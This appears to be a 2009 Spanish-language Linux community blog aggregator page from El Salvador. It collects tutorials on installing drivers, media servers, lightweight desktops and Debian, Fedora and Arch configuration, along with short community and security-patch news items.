30 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Firestarter en Fedora (Interfaz grafica para controlar el firewall)

Bueno firestarter para los que no lo conocen: Es una herramienta de cortafuegos personal libre y de código abierto que usa el sistema (iptables/ipchains) Netfilter incluido en el núcleo de Linux. Firestarter posee una interfaz gráfica para configurar reglas de cortafuegos y otras opciones. También monitoriza en tiempo real todo el tráfico de red del sistema, [...]

29 de June de 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Asamble General Extraordinaria de Linux SV y otras Comunidades de Software Libre

el día de ayer se celebro una reunión de LinuxSV junto a otras Comunidades de Software Libre de El Salvador para tratar de reorganizarnos, estuvo todo muy bien; ya días no se celebraba una la ultima fue en diciembre del 2005, el extracto de lo hablado lo pueden ver acá.

28 de June de 2009

William Díaz

William Díaz
LEPROSYS feed

Oxygen Molecule una buena forma de integrar GTK en KDE 4



Muchos que utilizamos KDE ya es algo sabido que trabajar con GTK y no tenerlo integrado es igual a ver un diseño feo, hay varias soluciones como anteriormente lo mencione en firefox, pero ahora hablare especialmente de un tema que es mas bien un conjunto de cosas que hacen que GTK parezca QT.

El tema se llama Oxygen-Molecule que tiene un tema GTK un esquema de colores y un ejemplo de configuración para .gtkrc-2.0-kde4.
Esto hace que la integración sea muy buena, en mi experiencia puedo decir que ha sido un tema que he visto que mas se integra por sus apariencia a KDE4 así que lo recomiendo.

Para los que tienen Arch pueden encontrar el pkgbuild en github (modificado de AUR para que funcione) o para los que prefirieren hacerlo manual o usan otra distribución pueden descargarlo desde el sitio de KDE-Look.

24 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Instalar Gnash en Debian Lenny (Reproductor Flash)

Algo de explicación: Gnash es un proyecto para crear una alternativa basada en el software libre de Adobe Flash Player, el reproductor más popular del formato multimedia Adobe Flash. Ahora para usarlo en debian lenny primero agregamos los repositorios, en consola y como root: nano /etc/apt/sources.list Ahora agregan la siguiente fila a sus repositorios: deb http://debian.jones.dk/ lenny gnash Actualizan la base [...]
Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Tip – Logo de linux en la consola de fedora

Si quieren ver la informacion de su PC, version del kernl y un bonito logo de linux en la consola como en la imagen de mas abajo solo deben hacer esto. En consola y como root: yum install linux_logo Ahora para verlo en consola solo lo llaman escriben esto: linux_logo Y tendran algo asi: Ahora si quieren ver el logo cada [...]

21 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Tip-Montar particiones NTFS en Fedora

Solo funciona a partir de fedora 10 o kernels superiores a 2.6.28 (uname -r). Primero identifican sus particiones NTFS: fdisk -l | grep NTFS Obtienen algo asi puede variar y eso usaran en el proximo paso: Ahora para continuar crean una carpeta de punto de montaje (Le llamaremos NTFS1 pero pueden ponerle cualquier nombre) y agregan lo obtenido [...]

19 de June de 2009

David Mejia

Ubuntu Invade a Microsoft El Salvador

Érase una vez  el proyecto Debian GNU/Linux en 1993, que luego por la apertura de su software, nace el proyecto Ubuntu Linux for Human Beings en el 2004, donde luego surgieron las comunidades las cuales son encargadas de difundir el software en cada territorio. En el caso de El Salvador, existe la comunidad Ubuntu de El Salvador.

Sucedió lo que jamás iba a pensar que sucedería jeje, pero unos jóvenes de la comunidad Ubuntu de El Salvador, se dieron a la tarea de ir a regalar CD’s de Ubuntu en la mera mera oficina principal de Microsoft El Salvador, es decir, es como irse a meter a la cueva del León, cualquiera pensaría “nos van a echar de acá”, pero lo curioso de todo es que al final, les terminaron pidiendo CD’s de Ubuntu :D aunque estuvieron a punto de caer, ya que fueron a pedir CD’s de Windows 7 RC1, pero no tenían, hubiera sido un FAIL para ellos.

Así que esta vez  Microsoft de El Salvador “You Have Been Trolled” (en el buen sentido).

Lean la historia completa en el blog de DK Cross, quien fue el autor principal de los hechos :D

Saludos!!

17 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Usar el DVD de fedora como repositorio

Bueno después de haber instalado Fedora 11 se me vino a la mente que pasa con todos los paquetes del dvd ya no se usan? los baje y no aparecen en mi gestor de paquetes y tampoco esta en mi repositorio como lo hace Debian que agrega los DVDs con todos los paquetes a los [...]
Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Actualizar la hora en Fedora automaticamente

Bien si quieren actualizar su hora automáticamente lo aremos desde internet con el paquete ntp así como root: su yum install ntpdate Ahora elegimos un servidor bueno hacen esto siempre como root: ntpdate ntp0.cs.mu.OZ.AU 128.250.36.2 Ahora si quieren que se actualize automaticamente basta agregar el comando o un script al inicio del sistema y agregar a los usuarios sudo nuestro [...]

14 de June de 2009

ampache_inst11


Algo que no era ni necesario ni estaba en mis planes pero gracias a 15 minutos de nancing y un gran rato queriendo usar MPD para reproducir remotamente sin resultados (hasta despues me di cuenta que necesitaba pulse audio o icecast) intente usar un streaming web asi como en algunos sitios web que tienen streaming por suscripcción.

El software que me ayudo en la tarea es un CMS (Sistema de Gestion de Contenido) multimedia llamado Ampache.

Ingredientes (mas parece que estoy cocinando cuando levanto algo):

    ampache
    apache2
    php5
    mysql-server
    php5-mysql
    libjs-prototype
    libphp-snoopy
    php5-cli
    php5-gd
    eye3d
    phpmyadmin (opcional)
    Un navegador

Base de datos

Como todo gestor de contenido en línea ampache necesita una base de datos lista para funcionar, este paso se puede obviar en la versión de ampache que viene en lenny o si deciden bajarse la última versión de su página web.

Usamos el siguiente comando para crear la base el usuario y la contraseña:

>CREATE DATABASE 'ampache';
>GRANT ALL PRIVILEGES ON ampache.* TO 'ampacheuser'@'localhost'
->         IDENTIFIED BY 'passguord' WITH GRANT OPTION;

Configuración de ampache

Ahora abrimos en nuestro navegador http://localhost/ampache (si están entrando desde otra maquina usen http://direccionip/ampache)

Les mostrara la pantalla de instalación desde donde el instalara la base de datos (les pedira password de root de mysql) y luego pondrá a descargar una copia de la configuración que deberán poner en /etc/ampache/ampache.cfg.php, finalmente les pedira nombre y password que tendrá la cuenta de administrador.

Paso a paso

Primero abrimos en un navegador (si se usa explotter corren el riesgo de que les salga el fantasma de “Saddam Hussein” del monitor y los ataque con una bomba quimica imaginaria) la dirección http://localhost/ampache o http://direccionip/ampache donde “direccionip” es la IP de la maquina donde se instala ampache, ya dentro de esta les saldrá la siguiente pantalla:

Instalación de ampache

Instalación de ampache

Los parametros normales para llenar el formulario de instalación son estos:

Desired Database Name  =  ampache
MySQL Hostname  =  localhost
MySQL Administrative Username  =  root o el usuario administrador que se creo con phpmyadmin o linea de comando
MySQL Administrative Password  =   password de root o del usuario utilizado (si no le han puesto password a root dejar en blanco)
Create Database User For New Database  =  marcar
Ampache Database Username  =   ampache (o como le hayan puesto al user)
Ampache Database User Password  =  contraseña al gusto
Llenando datos

Llenando datos

Luego de llenar este formulario (que si fuera mas largo parecería un examen psicologico) nos pondrá a descargar la configuración ya formateada para funcionar en ampache (como se menciono antes).

Confirmación de datos

Confirmación de datos

Si crearon la base de datos entonces esta sera reescrita estructurada por el instalador de ampache, si no existe la creará con los parametros que se le dieron.

Luego de confirmar los datos (debemos dar click a “write config”) nos dará una copia del archivo de configuración que copiaremos a /etc/ampache/.

# cp /home/usuario/Desktop/ampache.cfg.php /etc/ampache/

Luego volvemos al navegador y damos click al link “check for config” donde comprobara otra ves que todo este en orden y luego damos click a “continue to step 3″.

Ahora creamos la cuenta del administrador del servicio ampache:

Cuenta de administrador

Cuenta de administrador

Luego ingresamos ya con nuestra cuenta admin ya creada y generamos nuestro catálogo de música:

Login

Login

Ampache en su estado salvaje

Ampache en su estado salvaje

Debemos crear una carpeta de música en algun lugar seguro como /var/lib/musica, y depositarla ahi con permisos de lectura, yo como lo hice casero y con poco tiempo solo hice un link de /home/user/musica a /var/lib/musica.

Ahora que tenemos un directorio de música nos vamos al icono de cajon (CPU o servidor como ustedes lo llamen) que esta al lado izquierdo de la interfaz justo al lado del icono de puerta abierta (salir) y nos aparecerá esto:

Creando catalogo

Creando catalogo

Luego ponen el nombre del catálogo la ruta (que ya dijimos puede ser /var/lib/musica/) ponemos como tipo local (que esta en la misma maquina que el ampache) e ignoramos el XML-RCP key (que solo necesitamos si la música se encuentra en una maquina diferente al ampache) si queremos podemos marcar la opción de descargar los albumarts para cada album.

Luego dan click y esperan a que mysql indexe toda la música que hay en el catalogo (preferiblemente mp3 y ogg), una ves terminado les dara esta respuesta:

Catalogo terminado

Catalogo terminado

Dan click en “continue” y volvemos al icono del servidor (maquina, cpu, cajón) que esta al lado de la puerta (salir) y damos click en “add user” para tener un usuario que no sea el admin (no da gracia ser el unico que pueda utilizar el server)

Agregando usuario

Agregando usuario

Llenamos la info necesaria y le damos un “User Access Level” de user ya que si dejamos guest solo podra usar el reproductor en flash (para el que tenemos que poner una excepcion en firefox para ventanas emergentes) y queremos que sea posible el streaming.

Ya tenemos todo listo, ahora solo damos click en los signos + verdes para armar la playlist y dar click en la antena de la derecha para que nos de el archivo de playlist (o abra el reproductor flash) y podamos disfrutar desde cualquier parte de nuestra LAN (o si la ip es publica desde internet) de nuestra música.

Ampache listo

Ampache listo

Links:

http://ampache.org/wiki/

11 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

NETBOOK Broadcom (43xx) en Debian Lenny

En esta pequeña guia tratare de explicar como cargar el modulo controlador desde la pagina oficial, lo compilaremos y cargaremos el modulo compilado para trabajar con ella (Ejemplo tarjeta : ieee80211) esto es simple y rapido, primero instalamos el header para los que no lo tienen instalado: apt-get install linux-headers-'uname -r' Despues de instalar los headers descargan [...]
William Díaz

William Díaz
LEPROSYS feed

Broadcom 802.11 Linux STA driver para Kernel 2.6.30

Bueno otra vez acá trabajando para que funcione el driver Broadcom para los que tenemos algunas de las series:
14e4:432b "Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller"
14e4:4329 "Broadcom Corporation BCM43XG"
14e4:4328 "Broadcom Corporation BCM4328 802.11a/b/g/n"
14e4:4315 "Broadcom Corporation BCM4312 802.11b/g"
14e4:4313 "Broadcom Corporation BCM4310 Ethernet Controller"
14e4:4312 "Broadcom Corporation BCM4312 802.11a/b/g"
14e4:4311 "Broadcom Corporation BCM4311 802.11b/g WLAN"

El kernel salio hace muy poco pero yo ya lo tengo :D explicare como instalarlo.

ArchLinux
Primero para los que tenemos el magnifico sistema de Arch Linux:

Si tiene el kernel que aún a la fecha esta en estable hablo de 2.6.29 no tienes que hacer nada mas que ir a AUR y crear el binario como ya tendrías que saber:

Pero como en AUR
piroflip esta manteniendo para el kernel estable como ya les comente, he sacado otro con el nuevo parche de la gente de gentoo para que funcione, así de sencillo pueden encontrar el PKGBUILD en github:

Gentoo
http://packages.gentoo.org/package/net-wireless/broadcom-sta

Instalación tradicional
Esta es la instalación que ya muchos conocen si han instalado el driver y han visto mis post anteriores con el mismo tema.

1. Cr
ear una carpeta con el nombre hybrid_wl y entrar en ella:
$ mkdir hybrid_wl
$ cd hybrid_wl


2. Descargar el Driver correspondiente a nuestra arquitectura x32 0 x86_64 en el ejemplo trataremos con la versión x86_64:
$ wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc-x86_64-v5_10_91_9.tar.gz


3. Descargamos los parches:
$ wget http://leprosys.net/broadcom-sta/hidden-essid.patch
$ wget http://leprosys.net/broadcom-sta/license.patch
$ wget http://leprosys.net/broadcom-sta/linux-2.6.29.patch
$ wget http://leprosys.net/broadcom-sta/linux-2.6.30.patch


4. Parchear el driver:
$ patch -p1 -d src/wl/sys  linux-2.6.29.patch
$ patch -p1 -d src/wl/sys linux-2.6.30.patch
$ patch -p1 -d src/wl/sys license.patch
$ patch -p1 -d src/wl/sys hidden-essid.patch


5. Compilar:
$ make -C /lib/modules/`uname -r`/build M=`pwd`


6. Cargar modulos:
# modprobe lib80211_crypt_tkip
# insmod wl.ko
# cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless/
# depmod -a
# modprobe wl


Espero les funcione ;D

Otros post:
Broadcom 802.11 Linux STA driver para ArchLinux Kernel 2.6.29
Broadcom 802.11 Linux STA driver en kernel 2.6.29
Driver oficiales de Broadcom para BCM4311, BCM4312, BCM4321, y BCM4322 [Activando el wireless a mi laptop]

10 de June de 2009

William Díaz

William Díaz
LEPROSYS feed

Mis configuraciones en GitHub

Ya empece a poner mis configuraciones en GitHub, algunos me pidieron algunas configuraciones de mis screenshot, de colores, fondos de terminal, etc.
Me parece bastante fácil usar git para el propósito de compartir las configuraciones, espero subir mas configuraciones en el transcurso de este mes.

Por el momento pueden encontrar algunas como configuraciones de zsh, conky y algunos scripts. En estos días creare otro repositorio de PKBUILDS de algunos paquetes modificados.


Saludos.

09 de June de 2009

Virtual Box 2.2.x

Ya salio la nueva version de VirtualBox 2.2. Tiene varias cosas nuevas, como soporte de acelarcion grafica. Me imagino que es para compiz y Aero de Win$ Vi$ta. Vivo [caption id="attachment_133" align="aligncenter" width="300" caption="Virtualbox 2.2"][/caption]

Migrando Datos de VFP7 a Mysql. Part II

Lo logré!!! :) Para migrar los datos se puede de varias formas. La forma mas por batches y que requiere bastante trabajo e intervención del administrador es usando una herramienta propietaria que se llama Navicat. Yo bajé la version que se vence en 30 días. En mi Debian etch no funciona ...

Usando mi Modem Edge Tigo desde hn

Vivos, ya estoy usando el modem edge usb que me dio Tigo. Hasta configure el gnome-ppp. Ya no tengo que ser root para correr el wvdial :). Solo hice: apt-get install gnome-ppp Despues en gnome y le di permisos a mi user. System -> Administration -> Users and Groups y en la propiedades ...

Grps+Modem Edge Tigo USB + Debian Sid

Ahora en la tarde, en la hora del nancing estaba en el irc en el canal de #linux.org.sv y vostorga menciono que su gentoo tenia soporte para su modem edge grps. Esto lo supo El porque logro averiguar el nombre del driver que usa tal modem. Yo le pregunte si ...

HP Photosmart C3180 Debian Sid. Printer + Scanner

Estos son los pasos: apt-get install --force-yes -y cupsys cupsys-client libcupsys2-dev cupsys-bsd libdbus-1-dev g++ gs-esp libssl-dev libjpeg62-dev libsnmp-dev libc6 libtool libusb-dev make python-imaging python-qt3 python-ctypes python-dbus python-dev python python python-reportlab libsane libsane-dev sane-utils sane Bajamos el programa hplip mas reciente (casi 14MB). wget http://prdownloads.sourceforge.net/hplip/hplip-2.8.4.tar.gz Descomprimimos los achivos: tar xzvf hplip-2.8.4.tar.gz cd hplip-2.8.4/ Mi maquina es ...

Como hacer preguntas en el canal de #linux.org.sv

He estado leyendo un correo de la lista de LUG de sv, me di cuenta que hay mara que reclama que cuando no se les ayuda o son atacados o hecho burla en el canal. Yo quisiera expresar mi opinion sobre como ayudar en el canal y como pedir ...

Como instalar Debian sobre otro O.S. Gnu/linux

Ahora me dí la tarea de Instalar Debian sobre una laptop que tenía antes instalado Ubuntu. Esta laptop le instalé Ubuntu Drapper hace meses porque no lée discos copiados el lector de cds, solamente Originales. Bueno ahora decidí volver a buscar una forma de como eleminar Ubuntu e instalar Debian, ...

Como comportarse en una Lista de correo.

Un día de estos mandaron un correo a la lista de linux.org.sv con listado de que forma mandar los correos electronicos hacia la lista. Entre ellas estaba el famoso Top- Posting que yo en lo personal no sabía qué era. Despues de un pequeño intercambio logré entender y me pareció ...

Record Personal

Anoche me tocó reiniciar mi servidor que está hospedado en Linode. Este hace las funciones de servidor de correo. Como tengo un par de usuario que no borran sus correos, me estaba quedando sin espacio. Decidí compar 6GB adicionales y al tratar de expander me topé con la sorpresa que tenía ...

Cerro Azul, Honduras.

Bueno, tengo yá desde el Lunes de estar en la finca de Honduras Cerro Azul. Estoy usando mi Grps de Tigo con roaming y aunke admito q es mas lento que cuando lo uso en El Salvador, todavía es usable. Lo que he notado esque el Celular Bluetooth que utilizo ...

08 de June de 2009

Victor Ostorga

100 bugs en Gentoo

Parte de mi tiempo libre la utilizo para colaborar a Gentoo Linux, la cual es una distribución GNU/Linux altamente configurable y debo de admitir que me es realmente adictiva.

Para los que no están familiarizados Gentoo puede funcionar como un servidor, estación de desarrollo, escritorio, sistema de juegos, sistema embebido, etc. etc.

Parte de mi participación consiste en el reporte/solución de bugs (errores/actualizaciones/mejoras en software) y para aquellos que se sientan curiosos de mi participación pueden ver aquí

En cuantos bugs has participado hoy?

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

OpenOffice 3.1 en repositorio Unstable (Debian)

La ultima versión estable de OpenOffice actual 3.1 ya esta en los repositorios Unstable de Debian. #Unstable deb http://http.us.debian.org/debian unstable main contrib non-free deb-src http://http.us.debian.org/debian unstable main contrib non-free Solo es cuestión de instalarlos desde Synaptic la versión 3.1: core, base, writer, impress, math, writer, calc, y draw

07 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Instalando eyeOs en Debian Lenny

Bueno ahora voy a explicar como se hace eso pero antes para los que no conocen EyeOs: eyeOS es un escritorio virtual multiplataforma, libre y gratuito vía online, basado sobre el estilo del escritorio de un sistema operativo. El paquete básico de aplicaciones que vienen por defecto, incluye toda la estructura de un sistema operativo y [...]

05 de June de 2009

William Díaz

William Díaz
LEPROSYS feed

Multifunción Canon MP140 en Arch Linux



Cuando me cambie a Arch Linux pensé que no iba poder ocupar el escáner de la multifunción, pues me equivoque, gracias a los paquetes .rpm y .deb es posible poder hacer funcionar el escáner.
Pues me hice la labor de crearme un PKBUILD de los drivers del escáner para Arch Linux lo pueden encontrar en AUR:

Con los drivers de la impresora que están en .deb y .rpm tuve problemas, porque la impresora no funcionaba, pues bien ocupe el metodo de instalar cups y gutenprint como cuando la hice funcionar en Debian. Los pasos a seguir estan en un post anterior.
Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Configurando un servidor web en Debian con XAMPP 1.7.1 (32Bits/64Bits)

Montar un servidor web en lenny con XAMPP para linux es así, desde consola y como root: wget http://www.apachefriends.org/download.php?xampp-linux-1.7.1.tar.gz recuerden verificar la ultima version de aqui Descomprimen en opt, siempre en consola y como root hacen esto: mv xampp-linux-1.7.1.tar.gz /opt cd /opt tar xvfz xampp-linux-1.7.1.tar.gz Para 32 bits Ahora ya pueden usarlo simplemente haciendo esto(MySql no me inicia puesto que kde4 me instala [...]

04 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Repositorios de actualizaciones para la distribucion estable de Debian (Lenny)

Bien para los que no los tienen agregados les pongo los repositorios de actualizaciones de Lenny, para agregarlos lo aremos usando nano en consola y como root: nano /etc/apt/sources.list Y agregamos los repositorios: deb http://mirrors.163.com/debian lenny main contrib non-free deb http://security.debian.org/ lenny/updates main contrib non-free Ahora siempre en consola: apt-get update

01 de June de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Firefox inicia en modo “Work Offline” o modo sin conexion

Cuando firefox, iceweasel, swiftfox, swiftweasel y todos los demas navegadores basados en firefox inician en modo sin conexión hay una forma bien fácil de arreglar ese problema,  leyendo en un foro de ubuntu hize exactamente eso y algo mas, funciona mejor de lo que havia estado haciendo antes xD aqui el link asi que pongo [...]
Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Swiftfox y Swiftweasel en Debian Lenny

Tanto como Swiftfox y Swiftweasel son navegadores web basados en mozilla y optimizados para trabajar para ciertas arquitecturas de procesadores las mas usuales amd, amd64 e intel haciendo en ciertos casos un desempeño mejor para ambos programas, en mi opinion personal la mejora mas notoria es con iceweasel. Swiftfox es un navegador web para GNU/Linux, basado [...]

31 de May de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Lista, busqueda de archivos y paquetes deb (Debian/Ubuntu)

Este tip es muy util, el primero busca el paquete al que pertenece un archivo: dpkg -S /carpeta/o/archivo/a/buscar Por ejemplo: Y el otro lista los archivos que pertenecen a un paquete: dpkg -L nombredeldeb por ejemplo: Un tip muy util…

30 de May de 2009

moc-2.4.preview


Esto me lo he preguntado ya muchas veces y por muchas razones (la mayor es que soy un #tacaño de ram :p), por eso un dia me puse a crear lo que me imagino que sera el mejor balance entre usabilidad (no se necesita ser tan taliban para hacer algo funcionar) y consumo.

Ingredientes:

-Una pc

-Internet o los CDs/DVDs de nuestra distro (si es posible la ultima versión)

-Una mesa (opcional, nos servirá para agarrar a patadas cuando algo no funcione)

Ok empezamos:

Primero hay que instalar el sistema sin entorno gráfico (publico en silencio como si hubieran descabezado un perro)…

Se hace esto por que la mayoría de las distribuciones orientadas a usuario final instalan un entorno por defecto (gnome o kde, openoffice, firefox, thunderbird, etc.) que suele ser algo pesado y que va pensado para que la mayoría de los usuarios no les cueste mucho utilizarlo, esto es la pauta que se usa para medir los “requerimientos minimos” de instalación de las distros.

Bueno en debian para instalar sin modo grafico se debe desmarcar la opción “Entorno de escritorio” que aparece despues del particionado:

Tasksel sistema automatico de instalación

Tasksel sistema automatico de instalación

En ubuntu se debe instalar el sistema con el instalador alternativo que no trae un live-cd, en otras distribuciones basadas en redhat y suse hay un paso similar al tasksel, otros como gentoo y slackware no tienen este problema.

Luego una ves estamos en el prompt de bash pasamos a modo de super usuario e instalamos un entorno gráfico que gasta menos recursos.

Las alternativas son:

-gnome-core: solo el entorno sin los plugins ni los extras, nos gasta menos pero no es un gran cambio

-xfce4: Es menos tragón que gnome y muy usable, esto nos ayudará

-lxde: me decidi por este ya que es mucho menor en consumo que xfce y no incluye tantas herramientas innecesarias

-Un gestor de ventanas: este solo para los que no les importe pasar horas tuneando un escritorio

Para instalar LXDE:

apt-get install xorg lxde gdm

Ahi puse GDM pero podemos usar XDM (muy feo, para esa gracia mejor startx XD) y una nueva alternativa que se llama SLIM.

Eso de apt funciona en debian y ubuntu, en otras usen su respectivo gestor de paquetes (zypper,YUM, urpmi, emerge, pacman,etc.), ahora que instalamos LXDE podemos iniciar nuestra sesion gráfica que se verá asi:

LXDE crudo

LXDE crudo

Bueno ya tenemos un escritorio que en promedio nos gastara entre 60 y 100 M en ram pero o hay nada mas :p, ahora empezamos a instalar los componentes:

-Oficina:

Openoffice 3 es muy bueno y muy poderoso, yyyy tambien es muy pesado :p asi que debemos buscar algo que nos pueda ayudar a trabajar sin openoffice, lo mejor es optar por koffice o gnomeoffice, los componentes de gnomeoffice se pueden instalar solos, asi que solo con instalar abiword y gnumeric tenemos ya lo esencial.

apt-get install abiword gnumeric

-Web

Firefox es el mejor navegador web pero no es el mas ligero (antes de la version 2 si lo era) tenemos un par de alternativas que funcionan con el motor de renderizado webkit, uno es ya conocido el navegador por defecto de gnome epiphany-browser, pues hay una versión que utiliza webkit en lugar del pesado gecko llamada epiphany-webkit.

También extiste un navegador en desarrollo llamado arora que utiliza webkit para sus páginas.

Instalación:

apt-get install epiphany-webkit

o

apt-get install arora

Epiphany webkit

Epiphany webkit

Arora

Arora

-Correo

Para correo a menos que quieran pasar horas configurando un cliente de correo en modo consola hay una solución que cubre todas las expectativas y además gasta muy poca ram/CPU, se llama Claws-mail, un cliente de correos modular que podemos configurar con igual facilidad que thunderbird o evolution sin el enorme gasto de recursos.

Instalar:

apt-get install claws-mail claws-mail-plugins

Set up sencillo con gmail:

Primero veran la pantalla de bienvenida del asistente de cuentas, les preguntara por el nombre y la cuenta de correo, para POP3 usen estas instrucciones para llenar lo que pide el asistente:

http://mail.google.com/support/bin/answer.py?answer=13287

Y para IMAP:

http://mail.google.com/support/bin/answer.py?answer=78799

Ven en las instrucciones que ponen dirección:puerto?, pues veran tambien que al poner los parámetros de esa manera en claws-mail les dara error ya que en la especificación del servidor solo acepta su URL, pues pongan solo la URL en el campo y marquen las opciones “Usar SSL y Usar STARTTLS para iniciar sesión” ya que los puertos que usa Gmail son los usados por estos protocolos.

Si usan otra cuenta que no sea de Gmail usen los parámetros que les proporciona el ISP o el servidor de correos.

-Emulador de Terminal:

Hay muchas que son ligeras y veloces la LXterminal funciona bien (algunas aplicaciones de consola no se ven como yo quiero con ella :p) pero si no es lo que buscan o quieren una mas configurable se puede usar Eterm, Wterm, Xterm (es buena y casi siempre viene con Xorg), pero la que mejor se ha comportado una ves configurada es RXVT-Unicode, ligera y veloz, ademas permite transparencia y tabs.

instalar:

apt-get install rxvt-unicode

configuración:

http://www.leprosys.info/2008/12/configurando-la-terminal-urxvt.html

-Música:

Mi preferencia aunque no sea la de muchos es MOC (music on console), un cliente multimedia hecho en ncurses que utiliza menus en consola para escuchar carpetas completas y playlists, soporta los formatos de siempre: ogg, mp3, wma, wav.

instalar:

apt-get install moc

Ejecutar:

usuario@maquina:~/ $ mocp

MOC en acción

MOC en acción

Video:

Mplayer servira para este trabajo :p tanto en GUI como en consola usa poca memoria a comparación de programas como totem o kaffeine aunque el gasto de recursos de mplayer depende de lo que se este reproduciendo.

instalar:

apt-get install mplayer

Con esto debería ser suficiente para una maquina que necesite gastar poco para su funcionamiento (ej: una netbook) o que la pobre maquina tenga un dueño “tacaño de recursos XD” (/me), asimismo como la gente que les gustan los entornos minimalistas sin perder nada de usabilidad, aqui me centre en debian pero esto es funcional enla mayoría de las distribuciones, espero comentarios y sugerencias para mover o profundizar sobre los que se ha puesto aqui.

William Díaz

William Díaz
LEPROSYS feed

Pacgraph - Gráfica tus paquetes instalados

Pacgraph es una herramienta que busca los paquetes instalados en tu computadora con sus dependencias y da una salida por tamaño del paquete instalado.
En Arch lo podemos encontrar en AUR.



Para tener una imagen de nuestros paquetes:
pacgraph -s


Para mayor información de las opciones.
pacgraph --help

29 de May de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Como instalar y usar Nessus en Debian Lenny

Bien para los que no saben que es Nessus aquí una pequeña reseña extraída de wikipedia: Nessus es un programa de escaneo de vulnerabilidades en diversos sistemas operativos. Consiste en nessusd, el daemon Nessus, que realiza el escaneo en el sistema objetivo, y nessus, el cliente (basado en consola o gráfico) que muestra el avance y [...]
Victor Ostorga

Tutorial de Git

Me encontré en la web un útil tutorial de git, el cual comienza desde lo muy básico a lo avanzado.

Recomendado  para entender este sistema de control de versiones.

27 de May de 2009

William Díaz

William Díaz
LEPROSYS feed

DeadKeys y otras opciones en ArchLinux

Cuando utilizaba Debian estaba acostumbrado a las teclas muertas y sacar cosas como las tildes la ñ con el altgr, luego de pasar un tiempo sin teclas muertas en Arch lo he logrado conseguir de un forma se pude decir fácil :)

La primer cosa que hay que hacer es leerse la wiki:
http://wiki.archlinux.org/index.php/Xorg#Keyboard_Settings
http://wiki.archlinux.org/index.php/Xorg_input_hotplugging

Después de la pequeña leída seguimos los pasos:

1. Copiar el archivo que utilizaremos para modificar nuestro teclado:
cp /usr/share/hal/fdi/policy/10osvendor/10-keymap.fdi /etc/hal/fdi/policy/


2. Pasamos a lo interesante, a decirle que clase de teclado queremos, que idioma y toda la paja:
vim /etc/hal/fdi/policy/10-keymap.fdi


Los campos que nos pueden interesar modificar son:
<merge key="input.xkb.model" type="string">Modelo de teclado</merge>
<merge key="input.xkb.layout" type="string">Idioma del teclado</merge>
<merge key="input.xkb.variant" type="string">Variante del teclado</merge>


Para obtener una lista de la opciones que podemos usar en este archivo podemos encontrarlas en:
less /usr/share/X11/xkb/rules/xorg.lst


En mi caso tengo un teclado en ingles, teclado modelo hpdv5 y quiero la variante teclas muertas activada (intl):
<merge key="input.xkb.model" type="string">hpdv5</merge>
<merge key="input.xkb.layout" type="string">us</merge>
<merge key="input.xkb.variant" type="string">intl</merge>


3. Guardamos el archivo con cambios y modificaremos el xorg.conf
vim /etc/X11/xorg.conf


Las opciones que nos interesan modificar obviamente sera las del teclado, la sección me queda de la siguiente forma:
Section "InputDevice"
Identifier "Keyboard0"
Driver "kbd"
Option "XkbRules" "xorg"
Option "XkbModel" "hpdv5"
Option "XkbLayout" "us"
Option "XkbVariant" "intl"
EndSection

Ahora solo fata reiniciar nuestra PC y es todo.

Edito: como alternativa a "intl" pueden utilizar "altgr-intl" como muestra la lista de opciones en del archivo del paso [2] "altgr-intl" me parece mas comodo por el echo de que no es necesario presionar la tecla ecpaciadora para insertar algunos caracteres como " ~ etc.

26 de May de 2009

Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Sun lanza parches para eliminar vulnerabilidades criticas en sadmind(Solaris 8 y 9)

El día de hoy Sun Microsystems lanzo parches que elimina varias vulnerabilidades criticas en sadmind (Solstice AdminSuite demonio) que afectaba a las versiones 8 y 9 de Solaris, Solaris 10 y OpenSolaris no son vulnerables y las versiones para SPARC y x86 se ven afectados. Los atacantes podían explotar el fallo (aunque sólo por la [...]
Melvyn Gomez

Melvyn Gomez
elsimio feed

TuxPuck

Por sugerencia de johpunk instale tuxpuck en mi debian y luego de nancear un rato que no hacia ni un pinche gol, al final le pude ganar a arcana y luego a jugar en contra de tux, después de una nanceada buena le pude hacer un gol, creo que ya tengo diversión por otro buen tiempo hasta que logre ganarle a tux, les dejo el reto que le hagan un gol y si pueden le ganan.
Jose Castaneda

Jose Castaneda
Tecnoamigo Blog feed

Cambio de llave de seguridad de Debian

Bien ahora leyendo las noticias de debian anuncian que hasta las próximas 3 semanas (13 de junio) a partir de ahora se usara la llave publica debian que caduca junio 1. Esta expira: pub 1024D/6070D3A1 2006-11-20 [expires: 2009-07-01] uid [...]

22 de May de 2009

William Díaz

William Díaz
LEPROSYS feed

MPD + Sonata Rulez



Bueno hace poco empece utilizar mpd que es un demonio de música, que ademas se puede utilizar para que funciona de forma remota.
Pero lo que me gusta de mpd es que hay herramientas tanto cli como gráficas para poderlo gestionar, la que actualmente utilizo es Sonata que solo trabaja como cliente para mpd.

MPD consume muy pocos recursos y otro punto que es fácil de configurar, podemos especificar la salidas de audio, los usuarios con permisos para utilizarlo y mas. Se tiene que crear una base de datos de nuestra música para poder disponer de ella.

Sonata es gtk y pesa igual de poco que mpd en el sistema, descarga covers y líricas automáticamente si así lo deseamos y hacer scrobblings con lasfm. Ademas tengo mi lista de radios online en Sonata, es un cliente fácil de utilizar.
Se pueden lograr muchas cosas con este demonio y clientes.

Existen otros clientes para mpd, entre los cuales están:

Mi config para el que le interese:
